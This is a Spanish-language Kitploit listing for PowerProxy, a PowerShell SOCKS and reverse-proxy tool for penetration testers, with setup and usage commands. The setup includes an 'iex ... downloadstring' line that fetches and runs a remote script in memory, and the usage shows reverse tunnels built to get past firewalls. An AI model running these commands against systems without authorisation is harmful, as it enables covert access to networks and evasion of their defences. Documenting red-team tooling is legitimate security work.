Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PowerProxy — Proxy SOCKS de PowerShell con capacidades de proxy inverso. | Kitploit
Herramientas/GitHubGitHub/get-get-get-get/powerproxy
Seguridad de RedesPruebas de PenetraciónComando y ControlRed Teaming
GitHubget-get-get-get/powerproxy

PowerProxy

Proxy SOCKS de PowerShell con capacidades de proxy inverso.

Ver Repositorio
8413hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PowerProxy

Proxy SOCKS de PowerShell con capacidades de proxy inverso.

PowerProxy está escrito pensando en los probadores de penetración. La funcionalidad de proxy inverso es una prioridad, para atravesar redes que bloquean conexiones entrantes. Las conexiones de proxy inverso están cifradas por defecto. La autenticación de nombre de usuario/contraseña es compatible con conexiones Socks 5.

Configuración

Importe el script:

root@kitploit:~
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1") 
# O
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py puede crear certificados SSL temporales, lo que requiere OpenSSL. Si OpenSSL no está instalado en su máquina (lo está en la mayoría de los sistemas basados en Linux/Unix), proporcione su propio certificado o use la opción --no-encrypt.

Uso

Para un uso detallado, consulte la ayuda de PowerProxy, o use ./reverse_proxy_handler.py --help

Ejecutar un proxy inverso

En la máquina local, inicie el manejador:

root@kitploit:~
# Escuchar proxies inversos en el puerto 8080. Los clientes se conectan al puerto 1080 (por defecto)
./reverse_proxy_handler.py -p 8080 

En PowerShell:

root@kitploit:~
Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Los clientes proxy pueden tratar el servidor creado por reverse_proxy_handler.py como si fuera el servidor SOCKS real:

root@kitploit:~
curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Ejecutar un servidor SOCKS tradicional

root@kitploit:~
Start-SocksProxy 172.10.2.20 -Port 9050

Requerir autenticación

Use objetos PSCredential para requerir un nombre de usuario y contraseña:

root@kitploit:~
# Crear la credencial
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

Limitaciones

  • Por el momento, solo se admiten solicitudes CONNECT. El soporte para BIND es un objetivo, si es práctico.
  • La autenticación GSSAPI no es compatible.
  • reverse_proxy_handler.py solo se ha probado en máquinas basadas en UNIX y probablemente no funcione en Windows.
Descargar herramienta